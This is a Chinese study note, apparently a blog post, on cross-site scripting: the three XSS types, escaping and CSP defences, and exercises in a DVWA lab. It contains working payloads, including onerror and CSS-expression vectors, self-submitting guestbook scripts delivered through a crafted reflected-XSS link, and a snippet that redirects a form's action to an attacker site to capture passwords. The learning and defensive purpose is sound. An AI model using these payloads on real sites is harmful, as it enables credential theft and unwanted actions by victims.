A7 XSS漏洞学习

xss跨站脚本---应用描述

自动化工具能够检测并利用所有的三种XSS形式,并且存在方便攻击者利用漏洞的框架。

xss是owasp top 10中第二普遍的安全问题,存在于近三分之二的应用中。自动化工具能自动发现一些xss问题,特别是在一些成熟的技术中。xss对于放射和DOM的形象是中等的,而对于存储的XSS的影响更为严重,臂如在受攻击者的游览器上执行远程代码例如:窃取凭证和会话或传递恶意软件

三种xss类型,通常针对用户的游览器

反射式xss:应用程序或API包括未经验证和未经转义的用户输入,作为HTML输出的一部分,一个成功的攻击可以让攻击者在受害者的游览器中执行任意的HTML和Javascript。通常,用户将需要与指向攻击者控制页面的某些恶意链接进行交互。

存储式xss:你的应用或者API将未净化的用户输入存储下来了,并在后期在其他用户或者管理员的页面展示出来

DOM型XSS:会动态的将攻击者可控的内容加入页面的Javascript框架、单页面程序或API存在这种类型的漏洞。理想的说,你应该避免将攻击者可控的数据发送给不安全的Javascript API

典型的xss攻击可导致盗取session、账户、绕过MFA、DIV替换、对用户游览器的攻击,以及其他用户侧的攻击。

防止XSS需要将不可信的数据与动态的游览器内容区分开。这可以通过如下步骤实现:

使用设计上就会自动编码来解决XSS问题的框架,如:Ruby 3.0或react js

为避免反射式或存储式的XSS漏洞,最好的办法是根据HTML输出的上下文,对所有不可信的http请求数据进行恰当的转义。

在客户修改游览器文档时,为了避免DOM XSS攻击,最好的选择是实施上下文敏感数据编码。

使用内容安全策略(CSP)是对抗XSS的深度防御策略。如果不存在可以通过本地文件放置恶意代码的其他漏洞,则该策略是有效的。

存储式XSS:

持久化,代码是存储在服务器中的。存储式XSS是当不可信的用户输入被处理并在没有任何验证的情况下保存在文件或数据库,同时该不可信的 数据从存储中被获取然后在没有编码或转义的情况下啊反射回响应文中,导致了永久性的每次存储数据反射回响应文代码就会在游览器中执行的一种XSS漏洞。

存储式XSS的影响有:通过javascript获取用户的cookie,根据这个cookie窃取用户信息、重定向到一个钓鱼网站、重新更改页面内容,假装让客户输入用户名,密码然后提交到黑客的服务器。生成蠕虫迅速扩散到整个网站用户。

如何检测存储式XSS:攻击者向被攻击者页面写入恶意代码的方法很多,最常见的就是在论坛或留言本中发帖时将html代码写入到被攻击页面中,此处在用户资料修改、签名、联系方式等地方也是攻击者写入html代码常用的地方,如果被攻击页面对用户输入过滤不严的话,就可以被攻击者写入类似如下的一段代码。

<script>alert('1')</script>

由于攻击者输入恶意数据保存在数据库,再由服务器脚本程序从数据库中读取数据,所以大部分的存储型XSS漏洞都是在表单提交上会发生的。

传统测试方式:

<script>alert('1')</script>

任意可以输入的地方,使用上面代码尝试是否可以有如下的弹窗。

img标签属性跨站:第一种方法受挫后,黑客可能尝试利用img标签。

<img src=javascript:alert('1')"></img>

<img dynsrc=javascript:alert('1')"></img>

DIV标签属性跨站

img标签外,DIV标签也可以利用,同样也是图片载入。

<DIV STYLE="background-image: url(javascript:alert('1'))">

HTML标签属性的一些特点

javascript字符被过滤了,我们也可以用其他方法

<img src="knownsec" οnerrοr=alert('1')>   通过构造错误属性,让游览器执行特定的javascript代码

既是这种方式被防住,我们也可以使用自行构造事件

<font style="TEST:expression(alert('1'));">

除了font还有table,a,ul等标签也可以利用

如何防范存储式XSS

对于事件触发属性中的不可信字符串,先进行javascript转义,然后执行HTML转义,以为游览器在执行javascript字符串解码前执行HTML属性解码,对于javascript中的非可信数据,进行javascript字符串转义并且总是将属性加上引号无论是('或'')但不要使用反引号(')

游览器解析顺序:HTML语言、CSS语言、javascript语言   游览器解码顺序:HTML编码、URL编码、javascript编码

对HTML中不可信字符串进行HTML转义

&   &amp;        <   &lt;         >    &gt;           "   &quot;          、  &#x60;          '   &#x27;       /   &#x2F;

对于HTML属性中不可信字符串进行HTML转义,并且总是为你的属性加上引号,无论是('或")不要使用反引号(、)

先进行javascript转义然后执行html转义

对于javascript字符串中不可信的HTML,先执行HTML转义,然后执行javascript字符串转义保持这个顺序

创建个web应用程序应该允许的来自用户的标签和属性的白名单。黑名单可以很容易的被绕过。

使用UTF-8为默认的字符编码以及设置content为text/html。不要将用户可以控制的文本放在<meta>标签前。通过使用不同的字符集注射可以导致XSS

使用<!DOCTYPE html>告诉你的游览器遵循标准进行HTML,CSS的渲染以及如何执行。

常用web漏洞扫描工具对存储式XSS漏洞扫描方法

snuck:是一款自动化的漏洞扫描工具,他可以帮助你扫描web应用中存在的XSS漏洞。snuck基于selenium开发,并且支持Firefox、Chrome和IE游览器

snuck与传统的web安全扫描工具有显著的区别,他会尝试利用特殊的注入向量来破坏网站的XSS过滤器,并通过这种方法提高漏洞的检出成功率,基本上说,snuck所采用的检测方法与ISTAR漏洞扫描工具的检测方法较为相似,但snuck针对的是特定的XSS过滤器。

通常都是利用收集的各类XSSpayloads来进行尝试

1.存储式XSS

1.让其他人自动提交:

            1. 输入姓名:
                document.getElementsByTagName('input')[0]   - 定位
                document.getElementsByTagName('input')[0].value="测试";
            2. 输入信息:
                document.getElementsByTagName('textarea')[0]    - 定位
                document.getElementsByTagName('textarea')[0].value='abcd'
            3. 提交信息
                document.getElementsByTagName('input')[1]    - 定位
                document.getElementsByTagName('input')[1].click()
            4. 编写带有XSS的代码
                <script>
                    document.getElementsByTagName('input')[0].value="测试";
                    document.getElementsByTagName('textarea')[0].value="测试";
                    document.getElementsByTagName('input')[1].click()
                </script>

2. 反射式XSS

反射式XSS一般是提交信息的一部分内容通过服务器解析游览器,而不存储到服务器。与存储式XSS不同的是,不能存储在服务器中攻击方法一般都是构造了有恶意代码的链接(一般都是可信度高的网站)发送给受害者,受害者点击后会执行注入的XSS

如何触发反射式XSS:构造有问题的链接:     发送给受害者:受害者打开页面     服务器解析了地址,然后返回给用户     用户收到有script注入的的页面:受害者游览器根据script内容运行。

反射式XSS的检测与修复:基本原理:就是通过给别人发送带有恶意脚本代码参数的URL当URL地址被打开时,特定的代码参数会被HTML解析,执行如此就可以获取用户的cooike,进而盗号登录。检测与修复方式与存储行XSS类似。区别仅仅是不能存储到服务端。

           1. 测试页面: http://dvwa2.pte.com/vulnerabilities/xss_r/?name=aaa#
            1. 服务器接收到name参数的值是什么,前端就显示什么内容。
                1. 网页上写的是http://dvwa2.pte.com/vulnerabilities/xss_r/?name=aaa#
                2. burpsuite劫持数据后,更改了发送的参数值: http://dvwa2.pte.com/vulnerabilities/xss_r/?name=aaabbb#
                3. 服务器接收到的name参数的值是:aaabbb
                4. 服务器会返回aaabbb给客户端
                5. 页面上会显示aaabbb
            2. 注入的内容
                <script>var f1=document.createElement('iframe');f1.src="http://dvwa2.pte.com/vulnerabilities/xss_s/";document.body.appendChild(f1);f1.contentDocument.getElementsByTagName('input')[0].value="测试";f1.contentDocument.getElementsByTagName('textarea')[0].value="测试";f1.contentDocument.getElementsByTagName('input')[1].click()</script>
                <script>var f1=document.createElement('form');document.body.appendChild(f1);f1.action='/vulnerabilities/xss_s/';f1.method='post';var i1=document.createElement("input");var i2=document.createElement("input");var i3=document.createElement("input");f1.appendChild(i1);f1.appendChild(i2);f1.appendChild(i3);i1.name='txtName';i2.name='mtxMessage';i1.value='autoname';i2.value='automess';i3.name='btnSign';i3.value='Sign+Guestbook';f1.submit();<%2Fscript>
                <script>
                    var f1=document.createElement('iframe');
                    f1.src="http://dvwa2.pte.com/vulnerabilities/xss_s/";
                    document.body.appendChild(f1);
                    f1.contentDocument.getElementsByTagName('input')[0].value="测试";
                    f1.contentDocument.getElementsByTagName('textarea')[0].value="测试";
                    f1.contentDocument.getElementsByTagName('input')[1].click()
                </script>
            3. 带有注入的链接: http://dvwa2.pte.com/vulnerabilities/xss_r/?name=<script>var f1=document.createElement('form');document.body.appendChild(f1);f1.action='/vulnerabilities/xss_s/';f1.method='post';var i1=document.createElement("input");var i2=document.createElement("input");var i3=document.createElement("input");f1.appendChild(i1);f1.appendChild(i2);f1.appendChild(i3);i1.name='txtName';i2.name='mtxMessage';i1.value='autoname';i2.value='automess';i3.name='btnSign';i3.value='Sign+Guestbook';f1.submit();<%2Fscript>#

1. 存储式和反射式XSS:
    服务器接收到什么样的数据,就会向浏览器返回相应的数据。(跟真正浏览器发出去的数据没有任何关系)
        验证方法:
            1. 使用burpsuite劫持包
            2. 用浏览器发送正常的请求
            3. 使用burpsuite更改数据包变成有问题的(带有script语句的包)
            4. 服务器接收包,并进行处理(存储式,就是保存到本地-文件或数据库。 反射式,会存放在内存里,然后处理)
            5. 服务器会返回带有script字段的包到浏览器。
    解决方法:
        在服务器处理数据之前,对敏感信息进行过滤/转码等。 - WAF可以解决。

2. DOM式XSS
    1. 说明:
        1. 与反射式XSS类似,不存储在服务器里。
        2. 与存储式和反射式不同,不需要服务器进行任何处理。
            1. 存储式/反射式的返回数据,跟我们发送的数据不同而不同。
            2. DOM式的XSS,返回数据跟我发送的数据没有关系。
        3. 漏洞来源:
            1. 本地运行的JS。
        4. 本地运行的JS为什么会带来问题:
            1. 因为数据来源不是服务器,而是从URL中获取数据。(document.location.href)
            2. 服务器无论接收到什么数据,都不会被影响,返回数据相同。
    2. 如何防范
        1. WAF不可以解决。
            1. 数据来源是URL。
            2. WAF只能控制发送到服务器的数据。
            3. WAF更改不了返回数据。
            4. WAF更改不了浏览器中的URL
        2. 通过更改JS代码去解决。
    3. 会发生DOM式XSS的JS:
        1. document.location
            href -> 获取整个URL内容
            protocol -> 获取协议
            host/hostname -> 获取主机信息
            origin -> 获取协议+主机信息
            path -> 路径信息
            search -> 获取参数信息
        2. document.URL => document.location.href
        3. document.referrer => 获取来源于哪个URL跳转来的(上一个URL内容)
3. 实验:
    1. 简单插入
    2. 使用String.fromCharCode 进行字符串转换,绕过引号过滤。
    3. 使用属性 -> HTML事件方式触发。
    4. script被禁用,可以使用其他方法 -> HTML事件方式进行触发     123abc123abc<img src="unknow"οnerrοr="alert(1)">
    5. 更改form(表单)的action(跳转)位置
        1. 获取表单 document.getElementsByTagName('form')[1]   /   document.getElementsByName('xssform')[0]
        2. 更改action   document.getElementsByTagName('form')[1].action='<你的网站>'  /  document.getElementsByName('xssform')[0].action='<你的网站>'
        3. 确认 -》 https://<你的网站>/?password=password
        <script>
        document.getElementsByTagName('form')[1].action='https://www.baidu.com';
        </script>
    6. 使用HTML语言的不严谨,强制关闭script语句。
        </script>
        <script>
        alert('1')
        </script>
        <script>
    7. 我们可以使用accesskey的方式,出发隐藏的input的onclick事件。
        accesskey 触发方式:https://www.zhangxinxu.com/wordpress/2017/05/html-accesskey/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值